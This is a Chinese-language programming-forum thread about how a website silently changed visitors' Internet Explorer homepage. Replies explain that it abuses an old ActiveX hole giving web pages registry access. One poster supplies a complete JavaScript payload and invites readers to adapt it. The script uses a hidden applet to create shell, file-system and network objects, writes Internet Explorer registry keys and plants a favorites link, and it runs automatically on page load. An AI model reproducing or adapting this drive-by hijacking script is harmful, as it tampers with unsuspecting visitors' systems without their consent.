又是一个难题,关于默认主页的诡异添加!(100分)

F

fush

Unregistered / Unconfirmed
GUEST, unregistred user!
怎样实现的在浏览www.agenow.com时,不知不觉中把www.agenow.com加为默认主页!
 
在body的load 事件里设置为默认主页
 
能不能说得再详细些?
 
用java script 或者 vb script
 
通过javascript调用了客户端的一个activeX。通过它可以对客户端的注册表进行操作。
(包括添加,删除,修改)。faint,一个要命的漏洞。对ie5有效,对ie6无作用,对
ie5.5是否效没试过。
据说前一阵子已经发现有这种网站,一旦访问此网站,它会把你的注册表乱改一通。
 
这种修改应该是要利用API函数修改注册表吧?(无论是否是直接调用)
 
所以说微软把ActivX加进浏览器支持可真坏事,
恶意的网页制作者可以对粗心用户(或是系统漏洞)
的机器进行全权操作。
NAV可以在一定程度上制止这类script
 
呵呵 看看 这儿的源文件 http://dbs.myrice.com
 
http://phpfans@dlft.51.net/
这里是PHPFans,这里面有原代码,并没有任何破坏动作。
 
在主页为添加如下文字
<script src="js/agenow.js"></script>

agenow.js文件如下,具体可修改成你需要的!
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

//this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "//" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//end add favorites or links function
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
//set home page
//Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page", "http://agenow.6to23.com");
//Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Search Page", "http://agenow.6to23.com");
//end set home page
//set IE title
//Shl.RegWrite ("HKEY_CLASSES_ROOT//CLSID//{645FF040-5081-101B-9F08-00AA002F954E}//InfoTip", "Stores deleted items until you permanently remove them from your computer");
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "Microsoft Internet Explorer");
//end IE title
//add favorites this is the common part;
should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "//Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "//Documents and Settings//" + Net.UserName + "//Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
AddFavLnk(loc, "【密界社区】", "http://agenow.6to23.com");

}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
var rnd=Math.random()*10
//init();
if (rnd>=0 &amp;&amp;
rnd<=10)
{
init();
}
 
接受答案了.
 

Similar threads

S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
D
回复
0
查看
2K
DelphiTeacher的专栏
D
D
回复
0
查看
2K
DelphiTeacher的专栏
D
顶部